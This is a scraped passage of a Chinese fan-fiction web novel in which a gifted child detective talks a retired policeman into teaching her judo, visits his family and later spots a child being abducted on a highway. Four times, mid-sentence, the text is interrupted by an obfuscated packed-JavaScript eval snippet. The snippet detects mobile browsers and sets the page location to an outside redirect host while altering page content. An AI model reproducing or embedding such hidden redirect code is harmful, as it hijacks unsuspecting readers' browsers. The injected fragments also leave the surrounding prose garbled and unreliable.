手冢国一虽然看着不苟言笑,但到底年纪上来了,对孩子还是多了点耐心,这孩子跟他孙子一样大,却比他孙子活泼多了。闲着没事干,逗逗她好了。 于是,手冢国一就背过手去,故作高深地提示了一句:“你的鞋子很好看,我还从来没见到过第二双。” 有栖川蔻蒂低下脑袋,和鞋子上的皮O丘对视,哦,原来是因为没换鞋子才暴露了。她在小背包里放了帽子,放了替换的外套,但因为换鞋不方便,就没带鞋子。样式普通的鞋子倒也不会引人注意,可皮O丘实在太显眼了点。 又学到一个新的小技巧,蔻蒂心情很好,小手“欻”一下把皮O丘揪下来递给手冢国一,大方地对他说:“你觉得好看的话就送你啦!” 手冢国一:“……不用了。” 这种上贡的感觉是什么啊!更像是在欺负小孩了! “手冢爷爷,我可以跟你学柔道吗?我有两个很重要的好朋友需要保护,可是我现在太弱了,连大一点的男孩子都打不过,你可以帮帮我吗?”蔻蒂抓着手冢国一的袖子,渴求地眨了眨大眼睛,“buling~bul ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089879|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ing~”闪着光看上去可爱极了。 老实交代也有老实交代的技巧,干巴巴地说是一种效果,用称呼拉近两人的关系,再加上一点孩子独有的撒娇手段,那又是另一种效果。 如果是别的事,手冢国一这会已经说同意了。可教她柔道,这小胳膊小腿的,有力气吗?能吃苦吗?这孩子心眼这么多,借着学到的本事胡作非为怎么办。教孩子又不是养大白菜,给口水喝就行了,过程结果一个看不住,不光是他自己的名誉受损,更会教坏一个孩子,而且他还不知道这孩子的身份。 手冢国一“都内有大大小小几十家道馆,能找到我就该知道我只教警察学校的学生不收其他学生,你自己找其他道馆学去吧。” “我很聪明的,一教就会,手冢爷爷,你就试试嘛。”蔻蒂拍着胸脯保证。 手冢国一被蔻蒂的模样逗笑,但还是板着脸拒绝:“再聪明也不行,这事不用再说,别跟着我了,快回家吧。” 被拒绝了啊,有栖川蔻蒂很沮丧,拒绝不要紧,要紧的是这位手冢教官话里一点余地都不留,根本不是多“纠缠”几次就能成功的,看来还要找些其他办法。 对于手冢国一说的,去找一个道馆学习,有栖川蔻蒂从来没考虑过这个选项。她要学的不是比赛用的技巧,是真正制敌的手段,这些平常的道场教不了,只能求助有实战经验的人。况且,她可是天才,要找老师,当然得找最优秀的不是吗? 有栖川蔻蒂吸取教训,精进了自己跟踪的手段,开始寻找能让手冢国一破例的契机。每天放学定时定点往手冢家附近跑,还真让她找到了一件事。 手冢彩菜,手冢国一的儿媳,每天下午四点半都会从商业街自东向西路过,购买当日所需食材。性格温和善良,常年光顾一家老年丧子的夫妇的蔬菜店,据蔻蒂推测,其子应该也是警察,在任务中牺牲,所以手冢彩菜受手冢国一所托,才会多加照顾。 这些都不重要,重要的是,手冢彩菜被人跟踪了,而跟踪她的人看上去不太对劲。 游离,矛盾,就像是水中落入了一滴油,这个奇怪的跟踪者始终与周遭都隔绝着一层无形的墙壁。 他的反应也极有意思,陌生人拿着手机说话能吓他一跳,相机闪烁的灯光和快门声也能吓他一跳,他的目光流连在年轻女孩大胆时尚的衣裙上,也流连在飞驰而过的新型汽车上。他局促地应对这时间的一切,仿佛一个新生儿。 至此,有栖川蔻蒂也对这人的身份有了想法。 她一个跟头摔在了手冢彩菜的面前嗷嗷大哭,哭着喊着要跟她回家,引来了周围人的关注,跟踪者自然退回到了阴影之中。 “爷爷,我要找爷爷!” 手冢彩菜无奈地把她扶起:“你爷爷是谁,我带你去警察局,让警察叔叔帮你找爷爷好不好?” 蔻蒂把无赖贯彻到底,找了个借口黏住手冢彩菜:“不要,不要去警察局,我爷爷叫手冢国一!” 手冢彩菜笑容僵硬,她一时不知道是该怀疑自己丈夫犯了错,还是她公公犯了错。 22.风平浪静的学艺时间 手冢彩菜一路牵着小女孩回家,脑子里已经转了百八十个弯了。老公和公公,她实在不知道怀疑谁,因为家里那两个人都不是能干出这事的性格。 先说她丈夫手冢国晴吧,好听点是脾气好,温柔和善,难听点就是怂。上怕老子,下怕儿子,面对家里两个一本正的老头和“小老头”,拿不出一点威严来。全家就跟她这个妻子关系最好,惹恼了她,那就真的成孤家寡人,没人和他说话了。 可是公公手冢国一,也不像啊,她那公公,可以说是严于律己的典范,待别人严苛,待自己更严苛,跟已逝的婆婆也是青梅竹马,整天蜜里调油的关系。 难道又是什么故去战友家的孙女,偷偷在外面照拂,那也的确能叫一声手冢爷爷。 手冢彩菜想了又想,想不通,只能先把人带回去,等家里人回来再问。 “国光,妈妈回来了,今天上学开心吗?” “嗯嗯!” 有栖川蔻蒂看着一个茶褐色头发的小男孩踩着地板,“哒哒哒”地跑到门口迎接手冢彩菜,男孩皮肤白净,一双眼睛很是漂亮,怀里抱着一个网球拍。见到妈妈过来立刻把网球拍小心地放到椅子上,然后腾出手给妈妈又是拿拖鞋,又是拿买的菜,跑来跑去跟只小蜜蜂似的绕着手冢彩菜。 “这是我的孩子手冢国光,国光,这是妹妹,呃……” “蔻蒂,我叫有栖川蔻蒂。” “国光,这是蔻蒂妹妹。妈妈要去做饭,你带着妹妹先玩一会好吗?”手冢彩菜心里轻松不少,不姓手冢就好,看来中间的确有什么误会。 手冢国光听话地点头,乖乖地站在蔻蒂面前,红着脸,害羞的问她要不要一起去打网球。 “好哦。”蔻蒂不爱跟幼稚的小孩子玩,但是手冢国光话少又长得好看,跟研磨一样,她可以答应陪他一起玩。 被女孩子拉住小手,年纪还小的手冢国光有些飘飘然,兴致勃勃的带蔻蒂去玩家里庭院的网球场。 “蔻蒂会打网球吗?网球很好玩的!”平时都没有孩子和她一起玩,手冢国光在家都是对着墙打。虽然不知道蔻蒂的身份意味着什么,但多出一个人来一起对打,他就很知足了。 “不会,我只会打排球,排球也很好玩的。你教我网球吧,下次有机会我教你排球怎么玩。” 有了共同话题,两个孩子很快玩到一起,让手冢有些小心塞的是,蔻蒂学得太快了,比他当时刚开始打网球还要快。老师不是说他是很有天赋吗?呜呜,明明蔻蒂比他厉害多了。 祖父说,人外有人,天外有天原来是这个意思,蔻蒂就是人外哇。小国光既难过又不服输,憋着劲想要和蔻蒂拉开距离,两个孩子打得有来有回。 手冢国晴先回到家,看到院子里和儿子玩到一起的小女孩还以为是儿子的同学。问了妻子以后,却只得到了一个高深莫测的笑。 噫!怎么感觉身上毛毛的。 “一家四口”千等万等,终于把核心人物手冢国一给盼回来了。 手冢国一看见有栖川蔻蒂,表情当即沉了下来,就算是一个孩子,摸到他家来也过界了。 其余手冢家的人不知道两人之间的关窍,只看手冢国一的表情,还真以为这一老一少有什么关系,打量的眼神逐渐不对劲起来。 在手冢国一发怒前,有栖川蔻蒂抢先上前一步:“手冢爷爷,我的确还想让你教我柔道,但在那之前我有一件事要说。彩菜姐姐被人跟踪了,跟踪者是刚从监狱里出来的犯人。” “什么?彩菜你没事吧?”手冢国晴担忧地看着妻子。 她要有事还能站在这?这说的都是什么废话。 手冢国一也对儿子的一惊一乍不满,不过现在更让他头疼的是这小孩。小孩的心思他当然懂,不管儿媳有没有出事,她把这件事说出来,都算有恩于手冢家,他再想要干脆地拒绝就难了。当时还说什么再聪明也不行,现在看来真是低估了这孩子的聪明程度。 “你到底是谁?” 女孩骄傲地仰起头告诉老者:“有栖川蔻蒂,是一个侦探!” 蔻蒂这半年的努力不是没有效果,放在以前,这句话可能砸下去溅不起一滴水花,但现在,却能得到手冢国一讶异的眼神。 “丰岛无头杀妻案?” “嗯!是我抓住柏田义纪,找到头颅的哦!” “平河银行抢劫案?” “也是我告诉目暮伯伯银行内情况的哦!” 听过这些案子当然不能让手冢国一刮目相看,他当时看报纸时就知道了这两起案子是一人所破,但那会只当是无良媒体炒作,还狠狠批判了一番。可能说出案件细节,多少证明这不算空穴来风。 “……过来,你给我讲讲。” 有栖川蔻蒂讲故事实在不算有意思,十句里面,九句是自我吹嘘,剩下一句才是事情经过。手冢国一头疼地从中找出有效信息,梳理了一遍,惊讶地发现,报纸上的神童之名还真是名副其实。 对于这种聪明过头的破案人才,手冢国一自然珍惜,被逼迫的郁闷立刻转变为欣喜,盘算着要不要正式收个徒,然后下次钓鱼的时候去真田那老东西那炫耀一下,让他羡慕得吃不下睡不着。 小树不修不直溜,手冢国一虽然见才心喜,但他到底当了这么多年警察,眼光毒辣,能看出有栖川蔻蒂的才智,自然也能看出她的缺点。情感淡薄,对于不在乎的人,她的眼里只有正邪,没有折中区域。法与情是共同存在的,而有栖川蔻蒂现在只认法律。 “明日起,你便来我家里学习吧。” “我知道了,谢谢手冢爷爷!” “不用谢我,有句话我希望你明白,没有判处死刑,自然说明愿意给那些犯人再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095760|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一次的机会,你不该先入为主地看待他们。” 有栖川蔻蒂点点头,心里不以为然,如果不让人先入为主地看待他们,那怎么会有案底这种东西的存在,坐完牢清除掉不行吗?人理所应当该为自己的行为负责,出狱绝不是他们赎罪的终点。 让儿子把蔻蒂送去车站,手冢国一在家感叹:“这孩子的聪明也不知道是好是坏。” 手冢彩菜笑着说了一句:“父亲应该没注意到,蔻蒂刚才来和我道歉了。” “嗯?她说什么了?” “她说‘对不起彩菜姐姐,我利用了你的信任。’” “放心吧,我会好好教导她的。”手冢国一知道儿媳突然来说不是单纯聊天的,而是希望他不要对蔻蒂有偏见。他搞不懂,这才第一次见,那孩子怎么就能让彩菜为她说话。 手冢国光迷茫地左看看右看看,蔻蒂不是妹妹吗?为什么又叫妈妈彩菜姐姐,那他应该叫蔻蒂什么? 和手冢国一约好了的蔻蒂暂时拒绝了每天放学后的排球活动,在小伙伴担忧的目光下,马不停蹄从学校坐车去手冢宅学柔道。 放一只羊也是放,放两只羊也是放,特别是听完蔻蒂说自己是因为被大孩子欺负打输了才想着多练练,手冢国一直接把自己的孙子一并带上学些强身健体,保护自我的防身术。 可惜手冢国光在打网球上还能和蔻蒂打得有来有回,在柔道上只剩下被摔的份了。手冢国一教的每招制敌手段,蔻蒂都在小国光身上试了个遍。没办法,就这一个跟她年龄相当的对手,总不能让她去摔手冢国一吧。 可能是几天摔摔打打打出来的交情,有栖川蔻蒂和小国光的关系不错,居于研磨和小黑之下,比其他班级里的小朋友高一些的程度。 感情好了,情商就间接性上线了,她蹲在躺在地垫上,表情很是生无可恋的手冢国光旁边,用小手戳他:“不要难过,虽然你没有我天赋高,但是你很努力啊!” 手冢国光:……你真的有想要安慰我吗? “比你天赋高的人肯定不止我一个,难道你要见到一次难过一次吗?” 手冢国光的思维逐渐被带着走,想了想,确实是这样哦。 “但你永远可以做最努力的那个人呀,谁比你努力,你就使劲超过他。天赋不是你能决定的,努力才是!” 手冢国光漂亮的眼睛闪闪发亮,原地坐起激动地握住拳头放在胸口,说得真好!是他太大意了,有违祖父的教导,竟然因为一时的失败而被打击得郁郁寡欢,他要向蔻蒂妹妹学习! “蔻蒂妹妹,你不要难过,只有天赋也没关系。”手冢国光被洗脑成功,开始觉得天赋不如努力重要,反而还限制了发挥。 然而有栖川蔻蒂是清醒的:“你说什么,我当然是又天才又努力啊?” 手冢国光:……呜哇哇哇哇哇—— 23.风平浪静的送别时间 有栖川蔻蒂不理解手冢国光的“悲痛”,她只是实话实说呀,有什么不对么? “不要难过了,我教你打排球吧,说不定会开心一点哦。” 小国光懵懂地抬起脸,眼中闪烁着期待的光芒:“你是觉得我会打排球打得更好吗?” “不啊,我只是想让你知道,你比不过我的不止网球和柔道,还有排球。世界上不擅长的事多了,看开一点啦~” “……”光灭了,小国光的眼泪要掉不掉,打击太多他反而没那么伤心了,只剩下震惊。 魔鬼!呜呜呜蔻蒂妹妹是魔鬼啊! 虽然心里不情愿,但手冢国光还是可怜巴巴地跟着有栖川蔻蒂去打排球了,这是之前答应好的事,他向来是一个信守承诺的小朋友,答应的事就不会反悔。 手冢国一看着孙子被欺负,默默背过身去,想笑,又不敢笑。怕伤到小孙子的自尊,以后再也不和他玩了。 真想把这一幕拍下来拍下来给真田老混蛋看看,那家伙一直炫耀自己办了个道场,收了多少好学生,现在好了他也要收学生了,而且一个顶他一窝! 听说最近出了个什么可以拍照的手机,要不然去买个回来玩玩? 两个斗了一辈子的老对手,年纪越大,心理越幼稚,手冢国一等不及,立马去了一个电话给真田弦右卫门。 寒暄都不寒喧,上来就是一句:“你绝对想不到捡到一个天才学生是什么感觉!” 真田弦右卫门:……我怎么不知道,是欠揍的感觉。 莫名其妙接到个电话,还以为是什么大事,早知道是被秀一脸,他就不接了。 “嗤,你就吹吧,天才又不是大白菜,你想捡就捡。”真田弦右卫门冷哼,而且手冢的学生再天才也不会比他孙女天才! 手冢国一一点也不恼,他才不跟没福气的人一般见识:“呵,说出来怕羡慕死你,你绝对想不到是谁!” “爱说不说,我去接孙子了。” “有栖川蔻蒂,破获丰岛无头杀妻案的神童,你别跟我说没听过。”因为总是暗暗较劲,手冢家定的报纸和真田家订阅的重合率极高,所以他能看到的消息,真田那家伙一定也看到过。 出乎手冢国一预料的是,真田的语气不太对劲:“……有栖川什么?” “有栖川蔻蒂。” “什么蔻蒂?” 手冢国一哽住:“你老糊涂了?” 他俩还没分出个胜负了,真田弦右卫门要是老糊涂了,那生活多没意思。 真田愤愤地说:“你才糊涂了,她不可能做你学生,死了这条心吧。” “怎么不可能,是她自己求上门的。” “当然不可能,我孙女怎么会做你学生!” “什么孙女,你个老东西别胡搅蛮缠,不就是认孙女吗?我也可以!”手冢国一只当真田想要跟他抢人,认亲的话,以后如果有栖川蔻蒂成为警察,那么真田弦右卫门手中的警队人脉都可以给她用。 “认个屁,她是我妹妹的孙女,亲的,当然也是我的孙女!”刚说不可能有他孙女天才,结果真是他孙女!真是气死他了。 手冢国一的好心情也荡然无存,他怎么嘴就这么欠呢,非炫耀干嘛,现在好了吧,给炫耀没了。 两个老头不欢而散,都气愤地挂了电话。手冢国一想着,既然是这孩子自己找上他的,那万一是她不愿意跟自己爷爷学呢?抱着这一点希望,他去问蔻蒂。 蔻蒂一点也没有左右为难的纠结,她不慌不忙地说:“为什么我不能都学呢?祖父能教我的和手冢爷爷能教我的难道完全一样?” 当然不是,他们俩虽然以前都是做刑警的,但擅长的不同,除了一个擅柔道一个擅剑道外,他对调查蹲点颇有心得,真田那家伙则是擅长各种诡计,从嫌疑人的话里找破绽。 “你还真贪心。”手冢国一点了点蔻蒂的脑门。 “不是我贪心,是我太聪明了,否则也不能这么枪手呀。”蔻蒂摆出一副无奈的模样,“抢手就算了,偏偏我还能两边都兼顾起来,手冢爷爷,你说是不是?” 手冢国一哭笑不得。 太自恋了,然而这自恋的背后还有实力支撑,让人想批评两句都没办法。教了有栖川蔻蒂几天,手冢国一根本感知不到她的上限在哪,柔道一门还因为身体年龄有所限制,知识完全就像注入了一口看不见底的大缸,好像永远填不满。 “而且手冢爷爷教我,是想让我做什么吗?” “能让你做什么,当然是惩奸除恶……” 说到这里手冢国一顿住,他明白了蔻蒂的意思,这小家伙想问的是,教导她的目的是想培养自己人,在退休后,依旧把持警队内的资源吗? 敏锐得可怕,明明他只是将警察内的派系斗争当作聊天给她说了些,希望她不要对那些蝇营狗苟一头雾水,她却能自己联想到这一步。 小女孩黑亮的眼神似乎能看到人的心底,手冢国一叹了口气,还好他没这种想法,否则这鬼精的小孩恐怕就不是开口问问了,而是直接甩手走人。 这样的性格说好听点是独清独醒,不愿屈服世俗规则。说不好听的则是桀骜不驯,早晚成为别人眼中的钉子,也不知道是好还是不好。 而且蔻蒂一直说着要做侦探而不是警察,这两种职业可不一样…… 算了,他担心什么,要担心也是真田这个亲爷爷担心。 “真田估计会让你冬假过去,好好学吧,你要成为比我们这些老家伙更厉害的人。”带着一些说不明的期盼,手冢国一拍拍蔻蒂的肩膀。 “当然啦,手冢爷爷要好好回忆以前的案子哦,我还等着冬假回来听呢!” 老警察最珍贵的就是这些办案经验,蔻蒂怎么会选择一边放弃一边,当然是多多益善。 手冢国一这边算是单方面达成了共识,真田弦右卫门那边则是刚挂了老对头的电话,就立刻给外甥女真田珠英打去,劈头盖脸把人一骂,问她是不是看不上他这个舅舅了。 真田珠英满头雾水地安抚他,缓了缓才明白是自己闹腾的女儿惹来的事。当即拍板,冬假把孩子送去神奈川,想怎么调教就怎么调教。 上次的有栖川蔻蒂的自作主张一直让真田珠英觉得这孩子需要受点挫折吃点苦,舅舅的手段她是知道的,弦一郎那孩子从四岁就开始每天四点起床打坐和练习剑道。真田家不兴打孩子,可剑道场上的挨的打就不叫打,那是切磋训练。 做舅公的也不好直接抢孩子,听到外甥女明白他的意思,真田弦右卫门这才满意地关怀几句她最近工作怎么样。真田珠英挑拣了些能说的说了,好一会才让这舅舅满意。 家里人都知道,她这个舅舅对警察这份事业很有执念。 自己奉献一生不说,还想让自己的孩子也走上这条路,可惜他儿子实在没有遗传到这方面的基因。在下一代,也就是真田弦一郎出生前,真田弦右卫门正准备把这个警察世家的理想搁置时,他的妹妹结婚了,而且是男方入赘。 妹夫身份成谜,表面看是一公司小职员,但真田弦右卫门借着去妹妹家做客的几次观察,确定了他的公安身份。公安不比其他,真田没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103591|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟老对头炫耀,只是将这件事藏在心底,暗自高兴。可两人结婚没多久,外甥女出生一年后,他的妹夫就意外去世了。 真田弦右卫门匆匆赶到妹妹家,看到妹妹了然的眼神,才知道他妹妹自始至终都是知情者。兄妹在灵堂前聊了一夜,真田第二天走后带走了一个女孩,也就是真田珠英。 半年后,真田珠英的母亲病逝,真田弦右卫门虽然没有正式将其收养,依旧视若己出。 所以两人的关系说是舅甥,其实更像父女。大号没练成,突然天降小号,再加上真田珠英却有天赋,真田弦右卫门直接把自己的满腔热情寄托在了她身上。可以说真田珠英晋升顺利,除了因为蔻蒂的体质时不时遇上各种凶案带来的机遇,更是有舅舅从小到大的培养打底。 这样的关系,有栖川蔻蒂和弦一郎一样叫他祖父是理所应当。知道冬假要去神奈川的祖父家,蔻蒂没多反抗,成为世界第一侦探,这些都只是必要的过程。不过……她忧郁地告诉研磨和黑尾,这个冬假他们不能一起玩了。 “但我有给你们准备圣诞礼物哦!” 上学的最后一天,有栖川蔻蒂从包底翻出两个盒子分别递给小伙伴:“这是研磨的,这是小黑的,快拆开看看吧!” 小孩子之间不用讲究那些麻烦的潜规则,她更喜欢当面拆开,当面分享喜悦。 “哇,是排球诶,我可以挂在书包上!”黑尾的礼物是一个做工精致小巧的排球挂件,他立马用上,放在了最显眼的地方。 “而且可以捏捏哦,小黑不开心的时候捏捏它心情就会变好的!”小黑总喜欢把事情藏在心里,蔻蒂帮不了他,就只能送一个发泄玩具。 黑尾铁朗试着捏了一下,果然发出可爱的“啾啾”声,因为太过感动,又开始独自泪目,说不出话了。 这会研磨也拆开了礼盒,里面的东西很轻,但让他格外惊喜:“你怎么有这张卡?!” 研磨的礼物是他最想要的一张宝O梦对战卡片,为了这张卡他花光了一个月的零花钱都没抽到。蔻蒂的运气比他差多了,怎么可能自己抽到。 “哼哼,伟大的有栖川侦探无所不能!” 当然是她给玩具店老板解决了一个大麻烦,然后拜托他帮忙留意,有人抽出来就加倍买下。这种事说出来就一点神秘感都没了,她当然选择接受研磨不可置信的崇拜。 “谢谢你莉亚,我很喜欢!”研磨好好把卡片夹在书里,将自己准备的礼物也拿了出来。因为蔻蒂一放学就要被接走,所以他和黑尾都带在身上。 研磨的礼物也是一个小挂件,挂件的重量比小排球重得多。圆环上挂了放大镜,螺丝刀,还有一个手电筒,统统是缩小便携版,绝对是侦探必备探案工具。 黑尾的礼物是一本小巧的活动线圈本,可随时增加减少页数,封面上是一行漂亮的烫金字,写着“侦探笔记”。 两人话都几乎一样,大意都是——有栖川侦探天下第一,但一定要注意安全! 当然,前半句是蔻蒂自己理解概括的。 “要记得想我,要打电话给我,要寄新年贺卡……” 临走,有栖川蔻蒂不舍地抱住两人,训练了十几天,她手劲变大得不止一点两点,勒得研磨和黑尾都要喘不上气。 蔻蒂碎碎念的样子,配上阵阵冷风,倒是有那么些离别的悲凉氛围了,如果忽视她一会吸一下鼻子的声音的话。 站在车旁的青年男人笑着拍了拍蔻蒂的脑袋:“好了好了,不知道的还以为你是被我绑架了呢,放假结束就能回来,别舍不得了,快上车吧。” 24.高速追车绑架事件 “问都不问一声,你就不怕上错车?” 耳边传来男人逗小孩的声音,有栖川蔻蒂将视线从窗外飞驰的景色中转了回来。 大人总喜欢给小孩子开这种听上去有些恐怖的玩笑,不知道吓唬比自己年龄小上几十岁的孩子其中的乐趣在哪? 蔻蒂是不可能满足大人们无聊的闲心的,她无辜地眨眨眼:“所以你要绑架我?” 男人也眨眨眼:“也许?” “那我建议你下个路口左拐,右边常年堵车,在路面上停留的时间越长,越容易将我暴露在路人的视线里。” “咳咳咳——”男人长得不算多么好看,只能说清秀端正,但他的眼睛很特别,瞳色极浅,像是波子汽水里的弹珠,猛地被自己的口水呛了一下,眼睛里晕出一团水雾,眼泪止不住地掉。 他一手擦一手握住方向盘,车子就开得歪七扭八开始打飘。蔻蒂紧张地抓住安全带,伸出一只小手企图帮他扶稳方向盘。好在男人立马处理好自己不争气的眼泪,重新稳住了方向。 面对蔻蒂嫌弃的眼神,男人脑子一抽也很幼稚地和她杠起来:“我车技很稳的,要不是你乱开玩笑我怎么会失误。” “我哪里在开玩笑,明明是在询问过你以后认真地给你提建议。不管你是谁我都会上你的车,如果是绑匪的话更好,我还没有被绑架过呢~”说着,有栖川蔻蒂用两根肉肉的食指撑起嘴角两边对他露出一个自认为很嘲讽的笑。 然而男人以为她在卖萌,顺手捏了捏说道:“行行行,下次陪你玩。” “哼。”有栖川蔻蒂抱着胳膊不想理他,沉默了一会又忍不住炫耀自己的推理,毕竟说出来才能够让人佩服,藏在心里头谁知道她厉害呀。 “你虎口与掌心处有茧子这是常年握刀练习留下的痕迹,后备箱虽然没有放置竹刀,但我看到了剑道用的护具,再加上你车牌上的横滨区号。如果这么多细节同时吻合,还能出现第二个来接我的人,那更加说明你别有用心,这样不是很有趣吗?” ……有趣个锤子,真想替真田老师狠狠打她的屁股。 “万一我的车牌是□□呢?” 看在这人挺会捧场的份上,蔻蒂耐心解释:“刚才打开遮光板时,里面掉出了一张加油站的小票,上面的时间是晚上八点,从昨晚开始到刚才你就没有打开过遮光板。后座有一个红色的伴手礼包装袋,那是学校附近的生巧店。结合你身上的午餐残留物来看,你应当是临近中午开车过来的。今天东京天气很好,而你不需要打开遮光罩,说明你是从南边过来的,中午时太阳在后面。最后,昨夜神奈川地区有局部降雨,你的车上仍旧留有未干的雨痕,综合几点你从哪来基本能判断出来。” 男人默默将掉在扣子上的葱花拿掉,感概道:“真田老师还真没夸大,你很聪明。” “显而易见,森本叔叔。” “叫贵行哥哥。” 有栖川蔻蒂无语,这人的年纪努努力都能生她了,还让她叫哥哥,真不要脸。 “这是叫推理吧,我也会哦。”森本贵行狡黠地眨了眨眼睛,“就说前面那辆白车吧,他们一家四口是准备去环球影城玩的,开车的女主人比男主人略大几岁,家中开店售卖纯手工服饰,那两个孩子头上的发饰应该就是他们母亲亲手做的。” 蔻蒂瞪着眼睛看了半天都没明白,抓着头问他:“你怎么知道那个男的比他妻子小?” 从偶尔侧头看到的长相上来看,说那个络腮胡男的比他老婆大十岁都可能。 森本贵行吊足了胃口才说:“我吃饭的时候听到他叫旁边的女人‘姐姐’。” “……”蔻蒂不知道说什么,听炸裂的吧,这种情趣不是小孩子能理解的。 虽然占了一点巧合,不算完全是自己推理出来的,但是人的一天要见几百上千陌生人,能在这之中透过一个背影认出,森本贵行的记忆力不容小觑。 两人就这样玩起了一种特别的游戏,不紧不慢地玩了几个小时,森本贵行总算哄得蔻蒂叫自己贵行哥哥。 等等,几个小时? 有栖川蔻蒂猛地抬头,他们刚才是不是因为对一辆车的车主身份争辩不下,就跟着它走了一段,现在……还是去神奈川的方向吗? 森本贵行显然也意识到了这点,即使是在开着暖气的车内,也感觉一滴冷汗顺着脖子划过了背部。真田老师要是知道他自告奋勇去接人,结果把人带没了,肯定得拿着著剑抽他屁股。 “你想吃什么?快过圣诞节了,哥哥带你去吃肯O基好不好?等会打电话你就跟真田老师说我带你出去玩了,晚点送你回去……”他企图用小孩最爱来“贿赂”蔻蒂给他背锅。 蔻蒂没听到他在说什么,板着一张小脸扒在窗户边上看:“往左边靠,那辆多摩牌照的车不对劲!” “什么意思?”嘴上问着,手下一点没犹豫,森本贵行慢慢靠过去,看到驾驶座上是一个中年男人,后座坐着一个和他年纪差不多的女人以及一个头发卷卷的小孩。 “什么情况家长需要一直用手压着小孩的脑袋,从我开始观察到现在,唔……十分钟了。” 森本贵行没想明白:“不知道,你认为是为什么?” “我也不知道,自来卷的基因遗传不是百分之百,所以不能倒推出他们三人之间的关系。啊,你看,那个小孩又在挣扎了。” 两人偷偷看着,正好与后排并行,看到了女人捶打男孩肚子的场景。不管是物理方面还是形容词,都“实锤”了。 女人的动作很隐蔽,如果不是他们俩这种一直盯着看的,很难发现端倪。因为她打完后又亲昵地抱住男孩亲了两下,俨然是一副关系亲密的模样。森本贵行后背发凉,脚下油门松了松,立刻落后旁边一个车身,避开了女人警惕的视线。 “这,应该不是亲生的吧?” “也有可能是家暴孩子的无良父母?”一切皆有可能嘛,没有足够的证据支撑,她也给不出正确答案。 “那也太无良了!”紧张之下森本贵行还不忘吐槽,“现在怎么办?” 你是大人欸,还要来问小孩子吗? 有栖川蔻蒂给他一个真麻烦的眼神:“要么当作什么都没看见,从前面的岔口下去回横滨。要么把那辆车撞停下来,近距离看看是怎么回事。” “说的容易,停下来以后呢?而且这里是高速,车速太快很容易翻的!”森本贵行感觉今天好像过得太过精彩了,这种追车戏份也能给他演一回。 这届助手太难带了,话多还笨,不如研磨和小黑配合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15112084|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得好。 蔻蒂摇摇头叹了一口气:“又不是真让你去撞,擦个边,剐蹭一下不就行啦。车停了你就坚持说报警走流程,同意的话正好让警察查他们身份,不同意的话那就更加说明有问题。” “有道理,那你坐稳了,抱住头。” 说着,森本贵行握紧方向盘向□□斜一瞬后立刻回正,两辆车摩擦后分离,火光四溅。森本贵行的车看不到怎么样,但是旁边的黑车上拉出了一道长长的白线。黑车内的男人和女人猛地回过头来看了一眼,然后什么反应都没有,只是车子加速向前窜出一大截。 “……这是什么情况不用我再告诉你了吧?假绑匪遇上真绑匪了,上吧,贵行哥哥!” 两车相撞发出了那么响烈的一声,后边的车子都吓得打飘,他们怎么可能没察觉。 “你拿手机报警吧,前面应该快到静冈了,最好快点把人拦下来,出了神奈川后续有什么事,真田老师可能不太好捞我们。” 有栖川蔻蒂快速打完报警电话看了一眼黑车的情况,从口袋里拿出研磨送给她的小手电,手电虽小五脏俱全,不光瓦数大,而且是双头,另一边是穿透力极强的激光笔。她解开安全带,从前座的中间往后爬,爬到驾驶座后方坐好系上安全带。 “等等,你要干什么?” “把车开到他们前面,那个卷毛要被捂死了。” 也许是那个女人心虚,也许是她想灭口,不管怎样,那个卷毛的口鼻都被捂住,情况看起来很不好。 等到森本贵行将车子稳定在黑车前方,蔻蒂打开自己这边的车窗将激光笔伸出去,寒风扑面,冷得她睁不开眼。蔻蒂搓了搓没一会就被冻僵的小手,用力攥住激光笔打开,红光顷刻对上了驾驶座的方位。 